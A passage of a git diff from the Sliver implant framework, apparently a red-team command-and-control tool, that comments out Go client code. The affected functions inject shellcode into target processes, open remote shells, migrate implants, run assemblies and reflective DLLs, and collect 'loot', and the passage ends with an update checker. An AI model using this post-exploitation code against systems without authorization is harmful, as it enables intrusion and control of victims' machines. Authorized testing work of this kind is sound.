ctrl := make(chan bool) - go spin.Until("Executing assembly ...", ctrl) - executeAssembly, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{ - Request: ActiveSession.Request(ctx), - IsDLL: isDLL, - Process: process, - Arguments: strings.Join(assemblyArgs, " "), - Assembly: assemblyBytes, - Arch: ctx.Flags.String("arch"), - Method: ctx.Flags.String("method"), - ClassName: ctx.Flags.String("class"), - AppDomain: ctx.Flags.String("app-domain"), - }) - ctrl <- true - <-ctrl - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if executeAssembly.GetResponse().GetErr() != "" { - fmt.Printf(Warn+"Error: %s\n", executeAssembly.GetResponse().GetErr()) - return - } - var outFilePath *os.File - if ctx.Flags.Bool("save") { - outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname())) - outFilePath, err = ioutil.TempFile("", outFile) - } - fmt.Printf(Info+"Assembly output:\n%s", string(executeAssembly.GetOutput())) - if outFilePath != nil { - outFilePath.Write(executeAssembly.GetOutput()) - fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) - } - - if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) { - name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath)) - err = AddLootFile(rpc, name, "console.txt", executeAssembly.GetOutput(), false) - if err != nil { - fmt.Printf(Warn+"Failed to save output as loot: %s\n", err) - } else { - fmt.Printf(clearln + Info + "Output saved as loot\n") - } - } -} - -func sideload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - - binPath := ctx.Args.String("filepath") - - entryPoint := ctx.Flags.String("entry-point") - processName := ctx.Flags.String("process") - args := ctx.Flags.String("args") - - binData, err := ioutil.ReadFile(binPath) - if err != nil { - fmt.Printf(Warn+"%s", err.Error()) - return - } - ctrl := make(chan bool) - go spin.Until(fmt.Sprintf("Sideloading %s ...", binPath), ctrl) - sideload, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{ - Request: ActiveSession.Request(ctx), - Args: args, - Data: binData, - EntryPoint: entryPoint, - ProcessName: processName, - Kill: !ctx.Flags.Bool("keep-alive"), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if sideload.GetResponse().GetErr() != "" { - fmt.Printf(Warn+"Error: %s\n", sideload.GetResponse().GetErr()) - return - } - var outFilePath *os.File - if ctx.Flags.Bool("save") { - outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname())) - outFilePath, err = ioutil.TempFile("", outFile) - } - fmt.Printf(Info+"Output:\n%s", sideload.GetResult()) - if outFilePath != nil { - outFilePath.Write([]byte(sideload.GetResult())) - fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) - } -} - -func spawnDll(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ") - binPath := ctx.Args.String("filepath") - processName := ctx.Flags.String("process") - exportName := ctx.Flags.String("export") - - binData, err := ioutil.ReadFile(binPath) - if err != nil { - fmt.Printf(Warn+"%s", err.Error()) - return - } - ctrl := make(chan bool) - go spin.Until(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl) - spawndll, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{ - Data: binData, - ProcessName: processName, - Args: dllArgs, - EntryPoint: exportName, - Request: ActiveSession.Request(ctx), - Kill: !ctx.Flags.Bool("keep-alive"), - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - ctrl <- true - <-ctrl - if spawndll.GetResponse().GetErr() != "" { - fmt.Printf(Warn+"Error: %s\n", spawndll.GetResponse().GetErr()) - return - } - var outFilePath *os.File - if ctx.Flags.Bool("save") { - outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname())) - outFilePath, err = ioutil.TempFile("", outFile) - } - fmt.Printf(Info+"Output:\n%s", spawndll.GetResult()) - if outFilePath != nil { - outFilePath.Write([]byte(spawndll.GetResult())) - fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) - } -} - -// -------- Utility functions - -func getActiveSliverConfig() *clientpb.ImplantConfig { - session := ActiveSession.Get() - if session == nil { - return nil - } - c2s := []*clientpb.ImplantC2{} - c2s = append(c2s, &clientpb.ImplantC2{ - URL: session.GetActiveC2(), - Priority: uint32(0), - }) - config := &clientpb.ImplantConfig{ - Name: session.GetName(), - GOOS: session.GetOS(), - GOARCH: session.GetArch(), - Debug: true, - Evasion: session.GetEvasion(), - - MaxConnectionErrors: uint32(1000), - ReconnectInterval: uint32(60), - PollInterval: uint32(1), - - Format: clientpb.OutputFormat_SHELLCODE, - IsSharedLib: true, - C2: c2s, - } - return config -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "bufio" +// "context" +// "fmt" +// "io" +// "io/ioutil" +// "log" +// "os" +// "path" +// "path/filepath" +// "strings" + +// "github.com/bishopfox/sliver/client/core" +// "github.com/bishopfox/sliver/client/spin" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "golang.org/x/crypto/ssh/terminal" + +// "github.com/desertbit/grumble" +// ) + +// func executeShellcode(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } + +// interactive := ctx.Flags.Bool("interactive") +// pid := ctx.Flags.Uint("pid") +// shellcodePath := ctx.Args.String("filepath") +// shellcodeBin, err := ioutil.ReadFile(shellcodePath) +// if err != nil { +// fmt.Printf(Warn+"Error: %s\n", err.Error()) +// return +// } +// if pid != 0 && interactive { +// fmt.Printf(Warn + "Cannot use both `--pid` and `--interactive`\n") +// return +// } +// if interactive { +// executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), rpc) +// return +// } +// ctrl := make(chan bool) +// msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName()) +// go spin.Until(msg, ctrl) +// task, err := rpc.Task(context.Background(), &sliverpb.TaskReq{ +// Data: shellcodeBin, +// RWXPages: ctx.Flags.Bool("rwx-pages"), +// Pid: uint32(pid), +// Request: ActiveSession.Request(ctx), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"Error: %v\n", err) +// return +// } +// if task.Response.GetErr() != "" { +// fmt.Printf(Warn+"Error: %s\n", task.Response.GetErr()) +// return +// } +// fmt.Printf(Info + "Executed shellcode on target\n") +// } + +// func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, rpc rpcpb.SliverRPCClient) { +// // Check active session +// session := ActiveSession.Get() +// if session == nil { +// return +// } +// // Start remote process and tunnel +// noPty := false +// if session.GetOS() == "windows" { +// noPty = true // Windows of course doesn't have PTYs +// } + +// rpcTunnel, err := rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{ +// SessionID: session.ID, +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v\n", err) +// return +// } + +// tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID()) + +// shell, err := rpc.Shell(context.Background(), &sliverpb.ShellReq{ +// Request: ActiveSession.Request(ctx), +// Path: hostProc, +// EnablePTY: !noPty, +// TunnelID: tunnel.ID, +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v\n", err) +// return +// } +// // Retrieve PID and start remote task +// pid := shell.GetPid() + +// ctrl := make(chan bool) +// msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName()) +// go spin.Until(msg, ctrl) +// _, err = rpc.Task(context.Background(), &sliverpb.TaskReq{ +// Request: ActiveSession.Request(ctx), +// Pid: pid, +// Data: shellcode, +// RWXPages: rwxPages, +// }) +// ctrl <- true +// <-ctrl + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID) +// fmt.Printf(Info+"Started remote shell with pid %d\n\n", shell.Pid) + +// var oldState *terminal.State +// if !noPty { +// oldState, err = terminal.MakeRaw(0) +// log.Printf("Saving terminal state: %v", oldState) +// if err != nil { +// fmt.Printf(Warn + "Failed to save terminal state") +// return +// } +// } + +// log.Printf("Starting stdin/stdout shell ...") +// go func() { +// n, err := io.Copy(os.Stdout, tunnel) +// log.Printf("Wrote %d bytes to stdout", n) +// if err != nil { +// fmt.Printf(Warn+"Error writing to stdout: %v", err) +// return +// } +// }() +// for { +// log.Printf("Reading from stdin ...") +// n, err := io.Copy(tunnel, os.Stdin) +// log.Printf("Read %d bytes from stdin", n) +// if err == io.EOF { +// break +// } +// if err != nil { +// fmt.Printf(Warn+"Error reading from stdin: %v", err) +// break +// } +// } + +// if !noPty { +// log.Printf("Restoring terminal state ...") +// terminal.Restore(0, oldState) +// } + +// log.Printf("Exit interactive") +// bufio.NewWriter(os.Stdout).Flush() + +// } + +// func migrate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } + +// pid := ctx.Args.Uint("pid") +// config := getActiveSliverConfig() +// ctrl := make(chan bool) +// msg := fmt.Sprintf("Migrating into %d ...", pid) +// go spin.Until(msg, ctrl) +// migrate, err := rpc.Migrate(context.Background(), &clientpb.MigrateReq{ +// Pid: uint32(pid), +// Config: config, +// Request: ActiveSession.Request(ctx), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// if !migrate.Success { +// fmt.Printf(Warn+"%s\n", migrate.GetResponse().GetErr()) +// return +// } +// fmt.Printf("\n"+Info+"Successfully migrated to %d\n", pid) +// } + +// func executeAssembly(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } + +// filePath := ctx.Args.String("filepath") +// isDLL := false +// if filepath.Ext(filePath) == ".dll" { +// isDLL = true +// } +// if isDLL { +// if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" { +// fmt.Printf(Warn + "Please provide a class name (namespace.class) and method\n") +// return +// } +// } +// assemblyBytes, err := ioutil.ReadFile(filePath) +// if err != nil { +// fmt.Printf(Warn+"%s", err.Error()) +// return +// } + +// assemblyArgs := ctx.Args.StringList("arguments") +// process := ctx.Flags.String("process") + +// ctrl := make(chan bool) +// go spin.Until("Executing assembly ...", ctrl) +// executeAssembly, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{ +// Request: ActiveSession.Request(ctx), +// IsDLL: isDLL, +// Process: process, +// Arguments: strings.Join(assemblyArgs, " "), +// Assembly: assemblyBytes, +// Arch: ctx.Flags.String("arch"), +// Method: ctx.Flags.String("method"), +// ClassName: ctx.Flags.String("class"), +// AppDomain: ctx.Flags.String("app-domain"), +// }) +// ctrl <- true +// <-ctrl + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if executeAssembly.GetResponse().GetErr() != "" { +// fmt.Printf(Warn+"Error: %s\n", executeAssembly.GetResponse().GetErr()) +// return +// } +// var outFilePath *os.File +// if ctx.Flags.Bool("save") { +// outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname())) +// outFilePath, err = ioutil.TempFile("", outFile) +// } +// fmt.Printf(Info+"Assembly output:\n%s", string(executeAssembly.GetOutput())) +// if outFilePath != nil { +// outFilePath.Write(executeAssembly.GetOutput()) +// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) +// } + +// if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) { +// name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath)) +// err = AddLootFile(rpc, name, "console.txt", executeAssembly.GetOutput(), false) +// if err != nil { +// fmt.Printf(Warn+"Failed to save output as loot: %s\n", err) +// } else { +// fmt.Printf(clearln + Info + "Output saved as loot\n") +// } +// } +// } + +// func sideload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } + +// binPath := ctx.Args.String("filepath") + +// entryPoint := ctx.Flags.String("entry-point") +// processName := ctx.Flags.String("process") +// args := ctx.Flags.String("args") + +// binData, err := ioutil.ReadFile(binPath) +// if err != nil { +// fmt.Printf(Warn+"%s", err.Error()) +// return +// } +// ctrl := make(chan bool) +// go spin.Until(fmt.Sprintf("Sideloading %s ...", binPath), ctrl) +// sideload, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{ +// Request: ActiveSession.Request(ctx), +// Args: args, +// Data: binData, +// EntryPoint: entryPoint, +// ProcessName: processName, +// Kill: !ctx.Flags.Bool("keep-alive"), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if sideload.GetResponse().GetErr() != "" { +// fmt.Printf(Warn+"Error: %s\n", sideload.GetResponse().GetErr()) +// return +// } +// var outFilePath *os.File +// if ctx.Flags.Bool("save") { +// outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname())) +// outFilePath, err = ioutil.TempFile("", outFile) +// } +// fmt.Printf(Info+"Output:\n%s", sideload.GetResult()) +// if outFilePath != nil { +// outFilePath.Write([]byte(sideload.GetResult())) +// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) +// } +// } + +// func spawnDll(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } +// dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ") +// binPath := ctx.Args.String("filepath") +// processName := ctx.Flags.String("process") +// exportName := ctx.Flags.String("export") + +// binData, err := ioutil.ReadFile(binPath) +// if err != nil { +// fmt.Printf(Warn+"%s", err.Error()) +// return +// } +// ctrl := make(chan bool) +// go spin.Until(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl) +// spawndll, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{ +// Data: binData, +// ProcessName: processName, +// Args: dllArgs, +// EntryPoint: exportName, +// Request: ActiveSession.Request(ctx), +// Kill: !ctx.Flags.Bool("keep-alive"), +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// ctrl <- true +// <-ctrl +// if spawndll.GetResponse().GetErr() != "" { +// fmt.Printf(Warn+"Error: %s\n", spawndll.GetResponse().GetErr()) +// return +// } +// var outFilePath *os.File +// if ctx.Flags.Bool("save") { +// outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname())) +// outFilePath, err = ioutil.TempFile("", outFile) +// } +// fmt.Printf(Info+"Output:\n%s", spawndll.GetResult()) +// if outFilePath != nil { +// outFilePath.Write([]byte(spawndll.GetResult())) +// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name()) +// } +// } + +// // -------- Utility functions + +// func getActiveSliverConfig() *clientpb.ImplantConfig { +// session := ActiveSession.Get() +// if session == nil { +// return nil +// } +// c2s := []*clientpb.ImplantC2{} +// c2s = append(c2s, &clientpb.ImplantC2{ +// URL: session.GetActiveC2(), +// Priority: uint32(0), +// }) +// config := &clientpb.ImplantConfig{ +// Name: session.GetName(), +// GOOS: session.GetOS(), +// GOARCH: session.GetArch(), +// Debug: true, +// Evasion: session.GetEvasion(), + +// MaxConnectionErrors: uint32(1000), +// ReconnectInterval: uint32(60), +// PollInterval: uint32(1), + +// Format: clientpb.OutputFormat_SHELLCODE, +// IsSharedLib: true, +// C2: c2s, +// } +// return config +// } diff --git a/client/command/updates.go b/client/command/updates.go index 0d504281c5..cc9c78b8d8 100644 --- a/client/command/updates.go +++ b/client/command/updates.go @@ -1,299 +1,299 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "context" - "crypto/tls" - "fmt" - "io" - "io/ioutil" - "log" - "net" - "net/http" - "net/url" - "os" - "os/user" - "path" - "path/filepath" - "runtime" - "strconv" - "strings" - "time" +// import ( +// "context" +// "crypto/tls" +// "fmt" +// "io" +// "io/ioutil" +// "log" +// "net" +// "net/http" +// "net/url" +// "os" +// "os/user" +// "path" +// "path/filepath" +// "runtime" +// "strconv" +// "strings" +// "time" - "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/version" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/util" - "github.com/cheggaaa/pb/v3" - "github.com/desertbit/grumble" -) +// "github.com/AlecAivazis/survey/v2" +// "github.com/bishopfox/sliver/client/assets" +// "github.com/bishopfox/sliver/client/version" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/util" +// "github.com/cheggaaa/pb/v3" +// "github.com/desertbit/grumble" +// ) -const ( - lastCheckFileName = "last_update_check" -) +// const ( +// lastCheckFileName = "last_update_check" +// ) -func updates(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - verboseVersions(ctx, rpc) +// func updates(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// verboseVersions(ctx, rpc) - timeout := time.Duration(ctx.Flags.Int("timeout")) * time.Second +// timeout := time.Duration(ctx.Flags.Int("timeout")) * time.Second - insecure := ctx.Flags.Bool("insecure") - if insecure { - fmt.Println() - fmt.Println(Warn + "You're trying to update over an insecure connection, this is a really bad idea!") - confirm := false - prompt := &survey.Confirm{Message: "Recklessly update?"} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - confirm = false - prompt = &survey.Confirm{Message: "Seriously?"} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - } +// insecure := ctx.Flags.Bool("insecure") +// if insecure { +// fmt.Println() +// fmt.Println(Warn + "You're trying to update over an insecure connection, this is a really bad idea!") +// confirm := false +// prompt := &survey.Confirm{Message: "Recklessly update?"} +// survey.AskOne(prompt, &confirm) +// if !confirm { +// return +// } +// confirm = false +// prompt = &survey.Confirm{Message: "Seriously?"} +// survey.AskOne(prompt, &confirm) +// if !confirm { +// return +// } +// } - proxy := ctx.Flags.String("proxy") - var proxyURL *url.URL = nil - var err error - if proxy != "" { - proxyURL, err = url.Parse(proxy) - if err != nil { - fmt.Printf(Warn+"%s", err) - return - } - } +// proxy := ctx.Flags.String("proxy") +// var proxyURL *url.URL = nil +// var err error +// if proxy != "" { +// proxyURL, err = url.Parse(proxy) +// if err != nil { +// fmt.Printf(Warn+"%s", err) +// return +// } +// } - client := &http.Client{ - Timeout: timeout, - Transport: &http.Transport{ - Dial: (&net.Dialer{ - Timeout: timeout, - }).Dial, - TLSHandshakeTimeout: timeout, - Proxy: http.ProxyURL(proxyURL), - TLSClientConfig: &tls.Config{ - InsecureSkipVerify: insecure, - }, - }, - } +// client := &http.Client{ +// Timeout: timeout, +// Transport: &http.Transport{ +// Dial: (&net.Dialer{ +// Timeout: timeout, +// }).Dial, +// TLSHandshakeTimeout: timeout, +// Proxy: http.ProxyURL(proxyURL), +// TLSClientConfig: &tls.Config{ +// InsecureSkipVerify: insecure, +// }, +// }, +// } - fmt.Printf("\nChecking for updates ... ") - prereleases := ctx.Flags.Bool("prereleases") - release, err := version.CheckForUpdates(client, prereleases) - fmt.Printf("done!\n\n") - if err != nil { - fmt.Printf(Warn+"Update check failed %s", err) - return - } +// fmt.Printf("\nChecking for updates ... ") +// prereleases := ctx.Flags.Bool("prereleases") +// release, err := version.CheckForUpdates(client, prereleases) +// fmt.Printf("done!\n\n") +// if err != nil { +// fmt.Printf(Warn+"Update check failed %s", err) +// return +// } - if release != nil { - saveTo, err := updateSavePath(ctx) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - updateAvailable(client, release, saveTo) - } else { - fmt.Printf(Info + "No new releases.\n") - } - now := time.Now() - lastCheck := []byte(fmt.Sprintf("%d", now.Unix())) - appDir := assets.GetRootAppDir() - lastUpdateCheckPath := path.Join(appDir, lastCheckFileName) - err = ioutil.WriteFile(lastUpdateCheckPath, lastCheck, 0600) - if err != nil { - log.Printf("Failed to save update check time %s", err) - } -} +// if release != nil { +// saveTo, err := updateSavePath(ctx) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// updateAvailable(client, release, saveTo) +// } else { +// fmt.Printf(Info + "No new releases.\n") +// } +// now := time.Now() +// lastCheck := []byte(fmt.Sprintf("%d", now.Unix())) +// appDir := assets.GetRootAppDir() +// lastUpdateCheckPath := path.Join(appDir, lastCheckFileName) +// err = ioutil.WriteFile(lastUpdateCheckPath, lastCheck, 0600) +// if err != nil { +// log.Printf("Failed to save update check time %s", err) +// } +// } -// GetLastUpdateCheck - Get the timestap of the last update check, nil if none -func GetLastUpdateCheck() *time.Time { - appDir := assets.GetRootAppDir() - lastUpdateCheckPath := path.Join(appDir, lastCheckFileName) - data, err := ioutil.ReadFile(lastUpdateCheckPath) - if err != nil { - log.Printf("Failed to read last update check %s", err) - return nil - } - unixTime, err := strconv.Atoi(string(data)) - if err != nil { - log.Printf("Failed to parse last update check %s", err) - return nil - } - lastUpdate := time.Unix(int64(unixTime), 0) - return &lastUpdate -} +// // GetLastUpdateCheck - Get the timestap of the last update check, nil if none +// func GetLastUpdateCheck() *time.Time { +// appDir := assets.GetRootAppDir() +// lastUpdateCheckPath := path.Join(appDir, lastCheckFileName) +// data, err := ioutil.ReadFile(lastUpdateCheckPath) +// if err != nil { +// log.Printf("Failed to read last update check %s", err) +// return nil +// } +// unixTime, err := strconv.Atoi(string(data)) +// if err != nil { +// log.Printf("Failed to parse last update check %s", err) +// return nil +// } +// lastUpdate := time.Unix(int64(unixTime), 0) +// return &lastUpdate +// } -func verboseVersions(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - clientVer := version.FullVersion() - serverVer, err := rpc.GetVersion(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"Failed to check server version %s", err) - return - } +// func verboseVersions(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// clientVer := version.FullVersion() +// serverVer, err := rpc.GetVersion(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"Failed to check server version %s", err) +// return +// } - fmt.Printf(Info+"Client %s - %s/%s\n", clientVer, runtime.GOOS, runtime.GOARCH) - clientCompiledAt, _ := version.Compiled() - fmt.Printf(" Compiled at %s\n", clientCompiledAt) - fmt.Printf(" Compiled with %s\n\n", version.GoVersion) +// fmt.Printf(Info+"Client %s - %s/%s\n", clientVer, runtime.GOOS, runtime.GOARCH) +// clientCompiledAt, _ := version.Compiled() +// fmt.Printf(" Compiled at %s\n", clientCompiledAt) +// fmt.Printf(" Compiled with %s\n\n", version.GoVersion) - fmt.Println() - fmt.Printf(Info+"Server v%d.%d.%d - %s - %s/%s\n", - serverVer.Major, serverVer.Minor, serverVer.Patch, serverVer.Commit, - serverVer.OS, serverVer.Arch) - serverCompiledAt := time.Unix(serverVer.CompiledAt, 0) - fmt.Printf(" Compiled at %s\n", serverCompiledAt) -} +// fmt.Println() +// fmt.Printf(Info+"Server v%d.%d.%d - %s - %s/%s\n", +// serverVer.Major, serverVer.Minor, serverVer.Patch, serverVer.Commit, +// serverVer.OS, serverVer.Arch) +// serverCompiledAt := time.Unix(serverVer.CompiledAt, 0) +// fmt.Printf(" Compiled at %s\n", serverCompiledAt) +// } -func updateSavePath(ctx *grumble.Context) (string, error) { - saveTo := ctx.Flags.String("save") - if saveTo != "" { - fi, err := os.Stat(saveTo) - if err != nil { - return "", err - } - if !fi.Mode().IsDir() { - return "", fmt.Errorf("'%s' is not a directory", saveTo) - } - return saveTo, nil - } - user, err := user.Current() - if err != nil { - return os.TempDir(), nil - } - if fi, err := os.Stat(filepath.Join(user.HomeDir, "Downloads")); !os.IsNotExist(err) { - if fi.Mode().IsDir() { - return filepath.Join(user.HomeDir, "Downloads"), nil - } - } - return user.HomeDir, nil -} +// func updateSavePath(ctx *grumble.Context) (string, error) { +// saveTo := ctx.Flags.String("save") +// if saveTo != "" { +// fi, err := os.Stat(saveTo) +// if err != nil { +// return "", err +// } +// if !fi.Mode().IsDir() { +// return "", fmt.Errorf("'%s' is not a directory", saveTo) +// } +// return saveTo, nil +// } +// user, err := user.Current() +// if err != nil { +// return os.TempDir(), nil +// } +// if fi, err := os.Stat(filepath.Join(user.HomeDir, "Downloads")); !os.IsNotExist(err) { +// if fi.Mode().IsDir() { +// return filepath.Join(user.HomeDir, "Downloads"), nil +// } +// } +// return user.HomeDir, nil +// } -func hasAnySuffix(assetFileName string, suffixes []string) bool { - for _, suffix := range suffixes { - if strings.HasSuffix(assetFileName, suffix) { - return true - } - } - return false -} +// func hasAnySuffix(assetFileName string, suffixes []string) bool { +// for _, suffix := range suffixes { +// if strings.HasSuffix(assetFileName, suffix) { +// return true +// } +// } +// return false +// } -func findAssetFor(prefix string, suffixes []string, assets []version.Asset) *version.Asset { - for _, asset := range assets { - downloadURL, err := url.Parse(asset.BrowserDownloadURL) - if err != nil { - continue - } - assetFileName := filepath.Base(downloadURL.Path) - if strings.HasPrefix(assetFileName, prefix) && hasAnySuffix(assetFileName, suffixes) { - return &asset - } - } - return nil -} +// func findAssetFor(prefix string, suffixes []string, assets []version.Asset) *version.Asset { +// for _, asset := range assets { +// downloadURL, err := url.Parse(asset.BrowserDownloadURL) +// if err != nil { +// continue +// } +// assetFileName := filepath.Base(downloadURL.Path) +// if strings.HasPrefix(assetFileName, prefix) && hasAnySuffix(assetFileName, suffixes) { +// return &asset +// } +// } +// return nil +// } -func serverAssetForGOOS(assets []version.Asset) *version.Asset { - suffixes := []string{fmt.Sprintf("_%s.zip", runtime.GOOS), runtime.GOOS} - if runtime.GOOS == "darwin" { - suffixes = []string{"_macos.zip", "_macos"} - if runtime.GOARCH == "arm64" { - suffixes = []string{"_macos-arm64.zip", "_macos-arm64"} - } - } - prefix := "sliver-server" - return findAssetFor(prefix, suffixes, assets) -} +// func serverAssetForGOOS(assets []version.Asset) *version.Asset { +// suffixes := []string{fmt.Sprintf("_%s.zip", runtime.GOOS), runtime.GOOS} +// if runtime.GOOS == "darwin" { +// suffixes = []string{"_macos.zip", "_macos"} +// if runtime.GOARCH == "arm64" { +// suffixes = []string{"_macos-arm64.zip", "_macos-arm64"} +// } +// } +// prefix := "sliver-server" +// return findAssetFor(prefix, suffixes, assets) +// } -func clientAssetForGOOS(assets []version.Asset) *version.Asset { - suffixes := []string{fmt.Sprintf("_%s.zip", runtime.GOOS), runtime.GOOS} - if runtime.GOOS == "darwin" { - suffixes = []string{"_macos.zip", "_macos"} - if runtime.GOARCH == "arm64" { - suffixes = []string{"_macos-arm64.zip", "_macos-arm64"} - } - } - prefix := "sliver-client" - return findAssetFor(prefix, suffixes, assets) -} +// func clientAssetForGOOS(assets []version.Asset) *version.Asset { +// suffixes := []string{fmt.Sprintf("_%s.zip", runtime.GOOS), runtime.GOOS} +// if runtime.GOOS == "darwin" { +// suffixes = []string{"_macos.zip", "_macos"} +// if runtime.GOARCH == "arm64" { +// suffixes = []string{"_macos-arm64.zip", "_macos-arm64"} +// } +// } +// prefix := "sliver-client" +// return findAssetFor(prefix, suffixes, assets) +// } -func updateAvailable(client *http.Client, release *version.Release, saveTo string) { +// func updateAvailable(client *http.Client, release *version.Release, saveTo string) { - serverAsset := serverAssetForGOOS(release.Assets) - clientAsset := clientAssetForGOOS(release.Assets) +// serverAsset := serverAssetForGOOS(release.Assets) +// clientAsset := clientAssetForGOOS(release.Assets) - fmt.Printf("New version available %s\n", release.TagName) - if serverAsset != nil { - fmt.Printf(" - Server: %s\n", util.ByteCountBinary(int64(serverAsset.Size))) - } - if clientAsset != nil { - fmt.Printf(" - Client: %s\n", util.ByteCountBinary(int64(clientAsset.Size))) - } - fmt.Println() +// fmt.Printf("New version available %s\n", release.TagName) +// if serverAsset != nil { +// fmt.Printf(" - Server: %s\n", util.ByteCountBinary(int64(serverAsset.Size))) +// } +// if 